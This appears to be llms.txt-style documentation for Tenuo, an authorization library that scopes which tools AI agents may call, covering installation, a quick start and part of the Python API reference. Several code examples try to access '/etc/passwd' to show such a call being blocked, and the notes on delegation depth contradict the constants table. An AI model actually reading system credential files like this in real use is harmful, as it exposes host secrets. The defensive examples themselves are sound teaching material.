# Tenuo > Tenuo is open-source, task-scoped authorization for AI agents. A warrant is a signed grant of which tools an agent may call, with which argument constraints, for how long. Warrants are bound to their holder by proof-of-possession, can only narrow when delegated, are verified offline where the action executes, and produce signed receipts of what was allowed or denied. Rust core with Python, TypeScript (beta), and Rust SDKs. Apache-2.0. Install: - Python: `uv pip install tenuo` or `pip install tenuo`. Framework extras: `tenuo[langchain]`, `tenuo[langgraph]`, `tenuo[crewai]`, `tenuo[autogen]`, `tenuo[openai]`, `tenuo[google_adk]`, `tenuo[a2a]`, `tenuo[mcp]`, `tenuo[fastmcp]`, `tenuo[fastapi]`, `tenuo[temporal]`. - TypeScript (beta, Node 20+): `npm i @tenuo/core@beta`; MCP: `npm i @tenuo/mcp@beta`. - Rust: `cargo add tenuo --features sdk`. - Coding agents: `npx skills add tenuo-ai/tenuo --skill tenuo-agent-authorization`. Guidance for agents writing code with Tenuo: - Enforce at the effect boundary (where the tool actually runs), not only in the planner. - Use the SDK and framework adapters; do not reimplement warrant signing, attenuation, or verification. - Test both an allowed call and a denied call that is blocked before any side effect. - Default to enforce mode. For a controlled audit rollout, configure trusted roots explicitly and follow the [production guide](https://tenuo.ai/production-guide.md). Audit mode logs violations but does not block unauthorized actions. Switching modes with `configure(...)` replaces the configuration, so supply the trusted roots and any other required settings again. ## Questions - [What is task-bound authorization?](https://tenuo.ai/faq/#task-bound-authorization): Authority granted to a single task instead of an identity - [What is agent delegation?](https://tenuo.ai/faq/#agent-delegation): Why the boundary must travel with the task, and narrow at every hop - [How do you prevent the consequences of prompt injection?](https://tenuo.ai/faq/#prompt-injection): Bound what a persuaded agent can reach, checked outside the model - [How do you secure authorization for agent swarms?](https://tenuo.ai/faq/#agent-swarms): Task-scoped authority that attenuates across many short-lived workers - [How do you prove what an AI agent did?](https://tenuo.ai/faq/#audit-trail): Signed receipts written by the verifier at decision time - [How do you secure an MCP server?](https://tenuo.ai/faq/#mcp-security): Verify a warrant in server middleware before the tool runs - [Why task-bound authorization beats guardrails, OAuth scopes and gateways](https://tenuo.ai/faq/#agent-authorization-vs-guardrails): A control-by-control comparison - [An AI agent deleted a production database in nine seconds](https://tenuo.ai/faq/pocketos-incident.md): The PocketOS incident, control by control, and what a warrant would have changed ## Docs - [Quick Start](https://tenuo.ai/quickstart/index.md): Get started with Tenuo in 5 minutes - [Concepts](https://tenuo.ai/concepts.md): Why Tenuo, threat model, and core invariants - [Constraints](https://tenuo.ai/constraints.md): Scope authority precisely with argument constraints - [Human Approvals](https://tenuo.ai/approvals.md): Cryptographically verified human-in-the-loop for tool calls - [Enforcement Architecture](https://tenuo.ai/enforcement.md): Warrants, proof-of-possession, attenuation, and where checks run - [Going to Production](https://tenuo.ai/production-guide.md): Enforcement modes, gradual rollout, and key management - [API Reference](https://tenuo.ai/api-reference.md): Python SDK reference - [Debugging Guide](https://tenuo.ai/debugging.md): Troubleshoot authorization failures - [Security](https://tenuo.ai/security.md): Threat model, PoP, integration safety, and best practices - [Compatibility Matrix](https://tenuo.ai/compatibility-matrix.md): Supported versions of Tenuo packages and upstream libraries ## Integrations - [LangChain](https://tenuo.ai/langchain.md): Tool protection for LangChain agents - [LangGraph](https://tenuo.ai/langgraph.md): Secure LangGraph workflows and delegation between nodes - [CrewAI](https://tenuo.ai/crewai.md): Tool protection for CrewAI multi-agent workflows - [AutoGen](https://tenuo.ai/autogen.md): Authorize AutoGen AgentChat tool calls - [OpenAI](https://tenuo.ai/openai.md): Tool protection for OpenAI agents and the Agents SDK - [Google ADK](https://tenuo.ai/google-adk.md): Warrant-based authorization for ADK agents - [MCP](https://tenuo.ai/mcp.md): Secure MCP clients and servers with warrants and argument constraints - [A2A](https://tenuo.ai/a2a.md): Warrant-based authorization for inter-agent communication - [FastAPI](https://tenuo.ai/fastapi.md): API protection for FastAPI - [Temporal](https://tenuo.ai/temporal.md): Warrant-based authorization for Temporal AI agent workflows - [Temporal Quickstart](https://tenuo.ai/temporal-quickstart.md): Run a Tenuo-authorized Temporal workflow locally - [Temporal Nexus](https://tenuo.ai/temporal-nexus.md): Authorization across Temporal Nexus namespace boundaries - [Kubernetes](https://tenuo.ai/kubernetes.md): Deployment patterns for Kubernetes - [TypeScript SDK](https://github.com/tenuo-ai/tenuo/blob/main/tenuo-ts/README.md): `@tenuo/core` and `@tenuo/mcp` (beta) - [Hermes Agent](https://tenuo.ai/hermes.md): Official plugin for signed, expiring authorization of Hermes agent-loop tool calls - [Claude Code](https://github.com/tenuo-ai/tenuo-claude-code): Task-scoped governance for Claude Code via hooks and an MCP proxy ## Protocol and spec - [Protocol Specification v1](https://github.com/tenuo-ai/tenuo/blob/main/docs/spec/protocol-spec-v1.md): Warrant semantics and verification rules - [Wire Format v1](https://github.com/tenuo-ai/tenuo/blob/main/docs/spec/wire-format-v1.md): Warrant encoding - [Test Vectors](https://github.com/tenuo-ai/tenuo/blob/main/docs/spec/test-vectors.md): Vectors for interoperable implementations - [Attenuating Authorization Tokens (IETF draft)](https://tenuo.ai/aat-ietf-summary.md): Summary of draft-niyikiza-oauth-attenuating-agent-tokens and how it relates to warrants ## Optional - [AI Agent Security Patterns](https://tenuo.ai/ai-agents.md): Containing prompt injection and preventing privilege escalation - [OWASP Top 10 for Agentic Applications](https://tenuo.ai/owasp.md): How Tenuo maps to ASI01-ASI10 - [EU AI Act](https://tenuo.ai/eu-act.md): How Tenuo controls map to EU AI Act obligations - [Related Work](https://tenuo.ai/related-work.md): CaMeL, FIDES, and other agent security research - [Thesis](https://tenuo.ai/thesis.md): Authorization for agentic systems - [Delegation Security Lab](https://tenuo.ai/lab/): Free hands-on challenge in agent delegation security - [Warrant Explorer](https://tenuo.ai/explorer/): Decode and check a warrant in the browser - [Engineering Blog](https://tenuo.ai/blog/): Engineering notes on task-scoped authorization - [GitHub](https://github.com/tenuo-ai/tenuo): Source, issues, examples, and notebooks - [Full text for AI assistants](https://tenuo.ai/llms-full.txt): This file plus the Quick Start, API reference, Concepts, Constraints, the framework guides, Production guide, Security, Enforcement and the FAQ in full; every other page has its own .md twin The pages below are inlined in full. Every other page listed above has a Markdown twin at its .md URL. --- # Quick Start Source: https://tenuo.ai/quickstart/ ## What is Tenuo? Tenuo is a warrant-based authorization library for AI agent workflows. A **warrant** is a signed token specifying which tools an agent can call, under what constraints, and for how long. ``` Agent: "restart staging-web" │ ▼ Tenuo: Does this warrant allow "restart" on "staging-web"? Is the delegation chain valid? │ ▼ IAM: Does this service account have permission? ``` Tenuo adds a **delegation layer** on top of your existing IAM. If an LLM is prompt-injected, it can request anything, but the warrant only allows what you scoped. The injection succeeds at the LLM level; authorization stops the action. **Core invariant**: when a warrant is delegated, its capabilities can only **narrow**, never widen. Enforced cryptographically. ## Install Install the SDK for your language: ```bash uv pip install tenuo # Python npm install @tenuo/core@beta # TypeScript (Node 20+) cargo add tenuo --features sdk # Rust ``` Python framework extras (quotes required in zsh): ```bash uv pip install "tenuo[openai]" # OpenAI Agents SDK uv pip install "tenuo[temporal]" # Temporal workflows uv pip install "tenuo[langchain]" # LangChain / LangGraph uv pip install "tenuo[crewai]" # CrewAI uv pip install "tenuo[google_adk]" # Google ADK uv pip install "tenuo[mcp]" # MCP (Python ≥3.10) uv pip install "tenuo[a2a]" # A2A inter-agent delegation uv pip install "tenuo[fastapi]" # FastAPI uv pip install "tenuo[autogen]" # AutoGen AgentChat (Python ≥3.10) uv pip install "tenuo[fastmcp]" # FastMCP (TenuoMiddleware / FastMCP servers) uv pip install "tenuo[langgraph]" # LangGraph (includes LangChain) uv pip install "tenuo[cloud]" # Tenuo Cloud SDK (proprietary control-plane client) ``` ## Try It (Copy-Paste, Runs Immediately) ```python from tenuo import configure, mint_sync, Capability, Subpath, SigningKey, guard from tenuo.exceptions import AuthorizationDenied # 1. Configure once at startup configure(issuer_key=SigningKey.generate(), dev_mode=True, audit_log=False) # 2. Protect tools with @guard @guard(tool="read_file") def read_file(path: str) -> str: return f"Contents of {path}" # 3. Scope authority to tasks with mint_sync(Capability("read_file", path=Subpath("/data"))): print(read_file("/data/reports/q3.pdf")) # Allowed try: read_file("/etc/passwd") # Blocked except AuthorizationDenied as e: print(f"Blocked: {e}") ``` **What happened:** - `@guard(tool="read_file")` marks the function as requiring authorization - `mint_sync(...)` creates a warrant scoped to `/data/` (using `Subpath` for path traversal protection) - The second call fails because `/etc/passwd` is not under `/data/` ## Choose Your Integration **What framework or SDK are you using?** | Framework / SDK | Language | Integration | Getting Started | |-----------------|----------|-------------|-----------------| | **Python SDK** | Python | `uv pip install tenuo` | [Python API](/api-reference) | | **TypeScript SDK** | TypeScript | `npm install @tenuo/core@beta` | [TypeScript Guide](https://github.com/tenuo-ai/tenuo/tree/main/tenuo-ts) | | **Rust SDK** | Rust | `cargo add tenuo --features sdk` | [Rust API](https://docs.rs/tenuo) | | **OpenAI SDK** | Python | `from tenuo.openai import guard` | [OpenAI Guide](/openai) | | **Temporal** | Python | `from tenuo.temporal import TenuoTemporalPlugin` | [Temporal Guide](/temporal) | | **LangChain** | Python | `from tenuo.langchain import auto_protect` | [LangChain Guide](/langchain) | | **LangGraph** | Python | `from tenuo.langgraph import guard_node` | [LangGraph Guide](/langgraph) | | **CrewAI** | Python | `from tenuo.crewai import ...` | [CrewAI Guide](/crewai) | | **Google ADK** | Python | `from tenuo.google_adk import TenuoGuard` | [ADK Guide](/google-adk) | | **MCP** | Python | `from tenuo.mcp import SecureMCPClient` | [MCP Guide](/mcp) | | **FastAPI** | Python | `from tenuo.fastapi import SecureAPIRouter` | [FastAPI Guide](/fastapi) | | **AutoGen** | Python | `from tenuo.autogen import ...` | [AutoGen Guide](/autogen) | | **Hermes Agent** | Python | `hermes plugins install hermes-tenuo` | [Hermes Guide](/hermes) | | **A2A** | Python | `from tenuo.a2a import ...` | [A2A Guide](/a2a) | | **Custom** | Python | `from tenuo import Warrant, SigningKey` | [API Reference](/api-reference) | **Do you have agents communicating across processes?** Add [A2A](/a2a) alongside your runtime integration. ### Quick Examples **OpenAI**: wrap the client, tools are automatically protected: ```python from tenuo.openai import guard client = guard(openai.OpenAI(), warrant=warrant, signing_key=key) ``` **LangGraph**: scope authority per graph node: ```python from tenuo.langgraph import guard_node, TenuoToolNode graph.add_node("agent", guard_node(my_agent, key_id="worker")) graph.add_node("tools", TenuoToolNode([search, write_file])) ``` **MCP**: verify tool calls between client and server: ```python from tenuo.mcp import SecureMCPClient client = SecureMCPClient(server_url, warrant=warrant, signing_key=key) ``` **Temporal**: one plugin, zero workflow changes: ```python from temporalio.client import Client from tenuo.temporal import TenuoTemporalPlugin, TenuoPluginConfig, EnvKeyResolver # issuer_pubkey is the public key that mints your warrants — # e.g. ``control_key.public_key`` from the snippets above. plugin = TenuoTemporalPlugin(TenuoPluginConfig( key_resolver=EnvKeyResolver(), trusted_roots=[issuer_pubkey], )) client = await Client.connect("localhost:7233", plugins=[plugin]) ``` For a copy-paste local workflow with one allowed Activity and one denied Activity, see the [Temporal Quickstart](/temporal-quickstart). Each framework guide includes a full working example, production configuration, and troubleshooting. ## Debugging Authorization Failures When something is denied, use `why_denied()` for diagnostics: ```python result = warrant.why_denied("read_file", {"path": "/etc/passwd"}) if result.denied: print(f"Denied: {result.deny_code}") print(f"Field: {result.field}") print(f"Suggestion: {result.suggestion}") ``` Or inspect a warrant interactively in the [Explorer Playground](https://tenuo.ai/explorer/). Warrants contain only signed claims, not secrets, so they're safe to share. ## Next Steps - **[Going to Production](/production-guide)**: enforcement modes, gradual rollout, key management ([Tenuo Cloud](https://cloud.tenuo.ai) or self-hosted) - **[AI Agent Patterns](/ai-agents)**: P-LLM/Q-LLM architecture, prompt injection defense - **[Concepts](/concepts)**: threat model, core invariants, why warrant-based auth - **[Constraint Types](/constraints)**: `Subpath`, `Pattern`, `Range`, `UrlSafe`, `Exact`, and more - **[Security Model](/security)**: full threat model, PoP mechanics, delegation chain verification - **[API Reference](/api-reference)**: low-level `Warrant`, `SigningKey`, `BoundWarrant` API --- # Tenuo Python SDK API Reference Source: https://tenuo.ai/api-reference Complete API documentation for the Tenuo Python SDK. For wire format details, see [Protocol Specification](./spec/protocol-spec-v1). ## Table of Contents - [Configuration](#configuration) - [Constants](#constants) - [Core Types](#core-types) - [SigningKey](#signingkey) - [PublicKey](#publickey) - [Signature](#signature) - [Warrant](#warrant) - [BoundWarrant](#boundwarrant) - [Authorizer](#authorizer) - [Constraints](#constraints) - [Warrant Templates](#warrant-templates) - [Task Scoping](#task-scoping) - [Tool Protection](#tool-protection) - [MCP Integration](#mcp-integration) - [Decorators & Context](#decorators--context) - [LangChain Integration](#langchain-integration) - [LangGraph Integration](#langgraph-integration) - [FastAPI Integration](#fastapi-integration) - [Testing Utilities](#testing-utilities) - [CLI](#cli) - [Performance Benchmarks](#performance-benchmarks) - [Authorization receipts](#authorization-receipts) - [Exceptions](#exceptions) - [Audit Logging](#audit-logging) - [Type Protocols](#type-protocols) --- ## Constants Protocol-level constants exported from the SDK: ```python from tenuo import MAX_DELEGATION_DEPTH, MAX_WARRANT_SIZE, MAX_WARRANT_TTL_SECS, DEFAULT_WARRANT_TTL_SECS ``` | Constant | Value | Description | |----------|-------|-------------| | `MAX_DELEGATION_DEPTH` | 64 | Maximum warrant delegation depth | | `MAX_WARRANT_TTL_SECS` | 7,776,000 | Maximum TTL in seconds (90 days) | | `DEFAULT_WARRANT_TTL_SECS` | 300 | Default TTL if not specified (5 minutes) | | `MAX_WARRANT_SIZE` | 65,536 | Maximum single warrant serialized size (64 KB) | | `MAX_STACK_SIZE` | 262,144 | Maximum warrant stack/chain size (256 KB) | **Notes**: - 16 levels of delegation is sufficient for even complex hierarchies (typical chains are 3-5 levels) - 90 days is the protocol ceiling; deployments can (and should) configure stricter TTL limits - Default TTL is intentionally short (5 minutes) - expand only as needed --- ## Configuration ### `configure()` Initialize Tenuo globally. **Call once at application startup** before using `mint()` or `grant()`. ```python from tenuo import configure, SigningKey # Development (self-signed warrants) kp = SigningKey.generate() # In production: SigningKey.from_env("MY_KEY") configure( issuer_key=kp, dev_mode=True, allow_self_signed=True, ) # Production (trusted roots required) configure( issuer_key=my_keypair, trusted_roots=[control_plane_pubkey], ) ``` #### Parameters | Parameter | Type | Default | Description | |-----------|------|---------|-------------| | `issuer_key` | `SigningKey` | None | SigningKey for signing warrants (required for `mint`) | | `trusted_roots` | `List[PublicKey]` | None | Public keys to trust as warrant issuers (**required in production**) | | `default_ttl` | `int` | 300 | Default warrant TTL in seconds | | `clock_tolerance` | `int` | 30 | Clock tolerance for expiration checks | | `pop_window_secs` | `int` | 30 | PoP window size in seconds | | `pop_max_windows` | `int` | 4 | Number of PoP windows to accept (~2 min total) | | `dev_mode` | `bool` | False | Enable development mode (relaxed security) | | `allow_passthrough` | `bool` | False | Allow tool calls without warrants (requires `dev_mode`) | | `allow_self_signed` | `bool` | False | Trust self-signed warrants (requires `dev_mode`) | #### Modes **Production Mode** (default): - `trusted_roots` required - All warrants must chain to a trusted root - PoP mandatory - Missing warrants --> `Unauthorized` error **Development Mode** (`dev_mode=True`): - `trusted_roots` optional - `allow_self_signed=True` enables single-keypair testing - `allow_passthrough=True` skips authorization entirely (dangerous) **Strict Mode** (`strict_mode=True`): - Missing warrant --> `RuntimeError` (panic/crash) - Catches integration bugs (missing decorators, forgotten context) - **Recommended for CI/CD** **Warning Mode** (`warn_on_missing_warrant=True`): - Missing warrant --> Python warning + audit log - Surfaces integration issues without breaking tests - **Recommended for development/staging** **Tripwire** (`max_missing_warrant_warnings=N`): - Auto-flip to strict mode after N warnings - Prevents "warn fatigue" in production - `0` = disabled (default) See [Integration Safety](./security#integration-safety) for detailed guide. #### Errors | Error | Cause | |-------|-------| | `ConfigurationError: trusted_roots required` | Production mode without trusted roots | | `ConfigurationError: allow_passthrough requires dev_mode` | Passthrough without dev mode | | `ConfigurationError: allow_self_signed requires dev_mode` | Self-signed without dev mode | ### `auto_configure()` Automatic configuration from environment variables. **Zero-code setup for 12-factor apps.** ```python from tenuo import auto_configure # Reads TENUO_* environment variables automatically auto_configure() ``` **Environment Variables:** | Variable | Description | Example | |----------|-------------|---------| | `TENUO_ISSUER_KEY` | Base64-encoded signing key | `SGVsbG8...` | | `TENUO_MODE` | Enforcement mode | `enforce`, `audit`, `permissive` | | `TENUO_TRUSTED_ROOTS` | Comma-separated public keys | `key1,key2` | | `TENUO_DEV_MODE` | Enable development mode | `1` or `true` | | `TENUO_DEFAULT_TTL` | Default warrant TTL (seconds) | `300` | **Returns:** `None` **Raises:** `ConfigurationError` if required variables missing. ### `get_config()` Get the current configuration. ```python from tenuo import get_config config = get_config() print(f"TTL: {config.default_ttl}") print(f"Dev mode: {config.dev_mode}") print(f"Mode: {config.mode}") # EnforcementMode enum ``` ### `EnforcementMode` Enum controlling how authorization violations are handled: ```python from tenuo import EnforcementMode, is_audit_mode, is_enforce_mode, should_block_violation # Check current mode if is_audit_mode(): print("Violations are logged but not blocked") if should_block_violation(): raise AuthorizationDenied(...) ``` | Mode | Behavior | Use Case | |------|----------|----------| | `EnforcementMode.ENFORCE` | Block unauthorized requests | Production (default) | | `EnforcementMode.AUDIT` | Log violations but allow execution | Gradual adoption | | `EnforcementMode.PERMISSIVE` | Log + warn header, allow execution | Development | **Helper Functions:** | Function | Returns | |----------|---------| | `is_enforce_mode()` | `True` if mode is ENFORCE | | `is_audit_mode()` | `True` if mode is AUDIT | | `should_block_violation()` | `True` if violations should be blocked | --- ## Core Types ### SigningKey Ed25519 keypair for signing and verification. ```python from tenuo import SigningKey ``` #### Class Methods | Method | Description | |--------|-------------| | `SigningKey.generate()` | Generate a new random keypair | | `SigningKey.from_bytes(secret_key: bytes)` | Reconstruct keypair from 32-byte secret key | | `SigningKey.from_pem(pem: str)` | Create a keypair from a PEM string | #### Instance Methods | Property/Method | Returns | Description | |-----------------|---------|-------------| | `public_key` | `PublicKey` | Get the public key (property) | | `public_key_bytes()` | `bytes` | Get public key as bytes (32 bytes) | | `secret_key_bytes()` | `bytes` | Get secret key as bytes (32 bytes) | | `sign(message: bytes)` | `Signature` | Sign a message | | `to_pem()` | `str` | Convert the keypair to a PEM string | **Security Warning**: `secret_key_bytes()` copies secret material to Python memory. Minimize use. --- ### PublicKey Ed25519 public key for verification. ```python from tenuo import PublicKey ``` #### Class Methods | Method | Description | |--------|-------------| | `PublicKey.from_bytes(data: bytes)` | Create from 32-byte public key | | `PublicKey.from_pem(pem: str)` | Create a public key from a PEM string | #### Instance Methods | Method | Returns | Description | |--------|---------|-------------| | `to_bytes()` | `bytes` | Get as 32-byte array | | `verify(message: bytes, signature: Signature)` | `bool` | Verify a signature | | `to_pem()` | `str` | Convert the public key to a PEM string | --- ### Signature Ed25519 signature. ```python from tenuo import Signature ``` #### Class Methods | Method | Description | |--------|-------------| | `Signature.from_bytes(data: bytes)` | Create from 64-byte signature | #### Instance Methods | Method | Returns | Description | |--------|---------|-------------| | `to_bytes()` | `bytes` | Get as 64-byte array | --- ### Warrant Capability token with constraints and cryptographic provenance. ```python from tenuo import Warrant ``` #### Class Methods | Method | Description | |--------|-------------| | `Warrant.from_base64(s: str)` | Deserialize from base64 | | `Warrant.mint_builder()` | Create a fluent builder for new warrants | | `warrant.grant_builder()` | Create a fluent builder for delegation | #### `Warrant.mint_builder()` - Creating New Warrants ```python from tenuo import Warrant, Pattern # Fluent builder pattern warrant = (Warrant.mint_builder() .capability("read_file", path=Subpath("/data")) .holder(worker_key.public_key) .ttl(3600) .mint(issuer_key)) ``` | Method | Description | |--------|-------------| | `.tool(name)` | Add tool with no constraints | | `.capability(tool, **constraints)` | Add tool with constraints | | `.holder(pubkey)` | Set authorized holder | | `.ttl(seconds)` | Set time-to-live | | `.mint(key)` | Sign and create the warrant | #### `warrant.grant_builder()` - Delegation ```python # Delegate with narrower scope child = (parent.grant_builder() .capability("read_file", path=Subpath("/data/reports")) .holder(worker_key.public_key) .ttl(300) .grant(parent_key)) # Parent holder signs ``` | Method | Description | |--------|-------------| | `.issuer()` | Switch to issuer mode | | `.issuable_tools(tools)` | Set tools this warrant can issue | | `.constraint_bound(field, constraint)` | Set constraint bounds | | `.max_issue_depth(depth)` | Max depth for issued warrants | | `.clearance(level)` | Set clearance level | | `.holder(public_key)` | Set authorized holder | | `.ttl(seconds)` | Time-to-live in seconds | | `.mint(signing_key)` | Sign and create the warrant | #### `Warrant.mint_builder()` - Fluent API For improved DX, use the fluent builder pattern: ```python from tenuo import Warrant, Pattern, Range, Clearance # Execution warrant with builder warrant = (Warrant.mint_builder() .capability("read_file", path=Subpath("/data"), max_size=Range(max=1000000)) .ttl(3600) .holder(keypair.public_key) .mint(keypair)) # Issuer warrant with builder issuer = (Warrant.mint_builder() .issuer() # Switch to issuer mode .issuable_tools(["read_file", "write_file"]) .clearance(Clearance.INTERNAL) # Optional .constraint_bound("path", Subpath("/data")) .max_issue_depth(3) .mint(keypair)) ``` | Method | Description | |--------|-------------| | `.capability(tool, constraints)` | Add a capability (tool + constraints) - **recommended** | | `.tool(str)` | Set single tool (legacy, for single-tool warrants) | | `.constraint(field, value)` | Add a constraint (legacy, applies to current tool) | | `.ttl(seconds)` | Set time-to-live | | `.holder(pubkey)` | Set authorized holder | | `.session_id(str)` | Set session identifier | | `.clearance(level)` | Set clearance level | | `.issuer()` | Switch to issuer warrant mode | | `.issuable_tools(list)` | Tools this issuer can delegate | | `.constraint_bound(field, value)` | Add constraint bound | | `.max_issue_depth(n)` | Max delegation depth | | `.preview()` | Preview configuration before building | | `.mint(keypair)` | Sign and mint the warrant | #### Instance Properties | Property | Type | Description | |----------|------|-------------| | `id` | `str` | Unique warrant ID | | `tools` | `List[str]` | Authorized tools | | `depth` | `int` | Delegation depth (0 = root) | | `session_id` | `str \| None` | Session identifier | | `holder` | `PublicKey \| None` | Bound holder's public key | | `ttl_remaining` | `timedelta` | Time remaining until expiration | | `ttl` | `timedelta` | Alias for `ttl_remaining` | | `expires_at` | `datetime` | Expiration time as datetime object | | `is_expired` | `bool` | Whether warrant has expired | | `is_terminal` | `bool` | Whether warrant cannot delegate further (`depth >= max_depth`) | | `capabilities` | `dict` | Human-readable constraint summary | | `delegation_receipt` | `DelegationReceipt \| None` | Receipt if created via delegation | ```python # Property examples warrant.ttl_remaining # timedelta(seconds=299, ...) warrant.expires_at # datetime(2025, 12, 22, 21, 30, ...) warrant.is_expired # False warrant.is_terminal # False warrant.capabilities # {'tools': ['read_file'], 'path': '/data/*', 'max_size': 1000000} ``` #### Instance Methods | Method | Returns | Description | |--------|---------|-------------| | `attenuate(constraints, keypair, ttl_seconds=None, holder=None)` | `Warrant` | Create narrower child warrant | | `grant_builder()` | `GrantBuilder` | Create builder for delegation/attenuation | | `issue()` | `IssuanceBuilder` | Create execution warrant from issuer warrant | | `grant(allow, to=None, ttl=None, **constraints)` | `Warrant` | Convenience method to delegate (requires context) | | `verify(public_key)` | `bool` | Verify signature against issuer | | `sign(keypair, tool, args)` | `bytes` | Sign action (Proof-of-Possession) | | `to_base64()` | `str` | Serialize to base64 | | `allows(tool, args=None)` | `bool` | Check if action would be allowed (Logic check) | | `check_constraints(tool, args)` | `str \| None` | Validate constraints (Logic check) | | `dedup_key(tool, args)` | `str` | Get deterministic cache key | | `why_denied(tool, **args)` | `WhyDenied` | Get structured denial reason | | `headers(keypair, tool, args)` | `dict` | Generate HTTP authorization headers | #### Cross-Language API Note The Python and Rust APIs use different names for the same operations to match each language's idioms: | Operation | Python | Rust | |-----------|--------|------| | Create new warrant | `Warrant.mint_builder()...mint(key)` | `Warrant::builder()...build(keypair)` | | Delegate (narrow) | `warrant.grant_builder()...grant(key)` | `warrant.narrow()...build(keypair)` | | Issue from issuer warrant | `warrant.issue_execution()...build(key)` | `warrant.issue_execution_warrant()...build(keypair)` | `Warrant.mint_builder()` (fluent builder) is the recommended API for creating warrants. #### Logic Checks & Debugging Methods ```python from tenuo import Warrant, WhyDenied, DenyCode # Logic Check (UX-only, no crypto) # "Does the warrant allow this?" if warrant.allows("read_file", args={"path": "/data/report.txt"}): print("Allowed by logic") else: print(f"Would be denied") # Why denied (for debugging) reason = warrant.why_denied("write_file", path="/etc/passwd") # WhyDenied(deny_code=DenyCode.TOOL_NOT_ALLOWED, tool='write_file', ...) if reason.deny_code == DenyCode.TOOL_NOT_ALLOWED: print("Tool not in warrant") # Generate HTTP headers headers = warrant.headers(keypair, "read_file", {"path": "/data/x.txt"}) # {'X-Tenuo-Warrant': '', 'X-Tenuo-PoP': ''} ``` #### HTTP Transport Headers The SDK uses two headers for warrant transport: | Header | Content | Format | |--------|---------|--------| | `X-Tenuo-Warrant` | Warrant or chain | Base64-encoded CBOR | | `X-Tenuo-PoP` | Proof-of-Possession | Base64-encoded signature | **Key point:** The payload is self-describing. A single header can carry: - **Single warrant** - CBOR map `{id: ..., tools: ...}` - **Warrant chain** - CBOR array `[parent, ..., leaf]` (WarrantStack) The gateway auto-detects the format (Warrant vs WarrantStack), so `X-Tenuo-Warrant` works for both. See [Gateway Configuration](./constraints#gateway-configuration-reference) for details. | Class | Description | |-------|-------------| | `PreviewResult` | Result with `.allowed`, `.reason`, `.tool` | | `WhyDenied` | Denial info with `.deny_code`, `.tool`, `.field`, `.constraint`, `.value` | | `DenyCode` | Enum: `ALLOWED`, `TOOL_NOT_ALLOWED`, `CONSTRAINT_VIOLATED`, `EXPIRED` | #### Repr (Safe Logging) Warrant `repr()` hides sensitive data for safe logging: ```python print(repr(warrant)) # # Many tools are truncated # ``` **Replay Window:** PoP signatures are valid for ~2 minutes to handle clock skew. For sensitive operations, implement deduplication using `warrant.dedup_key(tool, args)`. See [Protocol: Replay Protection](./spec/protocol-spec-v1#74-replay-protection). #### Principle of Least Authority (POLA) Tenuo follows **POLA**: when you attenuate a warrant, the child starts with **NO capabilities**. You must explicitly specify what you want. This prevents accidentally granting more authority than intended. | Method | Behavior | |--------|----------| | `capability(tool, {})` | Grant only that tool | | `inherit_all()` | Explicitly opt-in to inherit all parent capabilities | | `tool(name)` / `tools([...])` | Add tools with the parent's constraints for them | | `retain_tool(name)` / `retain_tools([...])` | After `inherit_all()`, keep only these | **Pattern 1: Grant specific capabilities (recommended)** ```python # Child only gets what you explicitly grant builder = parent.grant_builder() builder.capability("read_file", path=Exact("/data/report.txt")) builder.holder(worker_key.public_key) child = builder.grant(parent_key) # child.tools == ["read_file"] (only!) ``` **Pattern 2: Inherit all, then narrow** ```python # Start with all parent capabilities, then narrow builder = parent.grant_builder() builder.inherit_all() # Explicit opt-in builder.retain_tools(["read_file"]) # Keep only this tool builder.holder(worker_key.public_key) child = builder.grant(parent_key) ``` `tool()` and `tools()` add capabilities and never narrow, so calling them after `inherit_all()` raises `ValidationError`; use `retain_tools()` there. **Pattern 3: Via grant() convenience method** The `grant()` method is a convenience wrapper that uses the signing key from context: ```python with key_scope(my_keypair): child = parent.grant( holder=worker.public_key, tools=["read_file"], # Narrow tools path=Exact("/data/q3.pdf"), # Narrow constraints ) ``` > **grant() vs grant_builder()**: Both are valid. `grant()` is a convenience method that uses the signing key from `key_scope()` context. `grant_builder()...grant(key)` is the explicit fluent builder that takes the key as an argument. Use `grant()` for simple cases, `grant_builder()` for complex scenarios or when you want `diff()` preview. **Via Issuer warrant (alternative):** ```python # Create parent warrant, then delegate with specific tools parent_warrant = (Warrant.mint_builder() .tool("read_file") .tool("send_email") .holder(control_plane_key.public_key) .ttl(3600) .mint(control_plane_key)) # Delegate to worker with narrower scope builder = parent_warrant.grant_builder() builder.tool("read_file") # Only read, not send_email builder.holder(worker_key.public_key) builder.ttl(300) exec_warrant = builder.grant(control_plane_key) ``` #### Terminal Warrants A warrant is **terminal** when it cannot delegate further (`depth >= max_depth`). ```python # Create terminal warrant (cannot be delegated further) builder = parent.grant_builder() builder.inherit_all() # Inherit parent capabilities builder.terminal() # Mark as terminal builder.holder(worker_key.public_key) terminal = builder.grant(parent_key) assert terminal.is_terminal() # True # terminal.grant_builder().grant(...) will fail ``` --- ### BoundWarrant Warrant bound to a signing key for convenience. **Non-serializable** to prevent accidental key exposure. ```python from tenuo import Warrant, BoundWarrant # Create bound warrant warrant, keypair = Warrant.quick_mint(["read_file"], ttl=300) bound = BoundWarrant(warrant, keypair) # Or bind from existing warrant bound = warrant.bind(keypair) ``` #### Why BoundWarrant? - **Convenience**: No need to pass keypair to every method - **Safety**: Cannot be serialized (prevents accidental key exposure) - **Ergonomic**: All warrant properties/methods available via forwarding #### Properties (Forwarded from Warrant) | Property | Type | Description | |----------|------|-------------| | `id` | `str` | Unique warrant ID | | `tools` | `List[str]` | Authorized tools | | `ttl_remaining` | `timedelta` | Time remaining | | `ttl` | `timedelta` | Alias for `ttl_remaining` | | `expires_at` | `datetime` | Expiration datetime | | `is_expired` | `bool` | Whether expired | | `is_terminal` | `bool` | Whether terminal | | `capabilities` | `dict` | Constraint summary | #### Methods | Method | Returns | Description | |--------|---------|-------------| | `validate(tool, args, *, trusted_roots=None, warrant_chain=None)` | `ValidationResult` | Full security check (issuer trust + PoP + constraints) | | `allows(tool, args=None)` | `bool` | Logic check (no PoP) | | `grant(allow, to=None, ttl=None, **constraints)` | `BoundWarrant` | Delegate (uses bound key) | | `headers(tool, args, *, trusted_roots=None, warrant_chain=None)` | `dict` | HTTP headers (uses bound key) | `validate()` and `headers()` need a trust anchor. They resolve one from the `trusted_roots` argument, then the roots given at bind time, then `tenuo.configure(trusted_roots=[...])`, then the active `Runtime`, and raise `ConfigurationError` when none of those supply one — a warrant is never trusted just because it signed itself. A delegated warrant is issued by the agent that delegated it rather than by a root, so pass its parents via `warrant_chain` (root-first, excluding the warrant itself). | `unbind()` | `tuple[Warrant, SigningKey]` | Extract warrant and key | | `why_denied(tool, **args)` | `WhyDenied` | Get denial 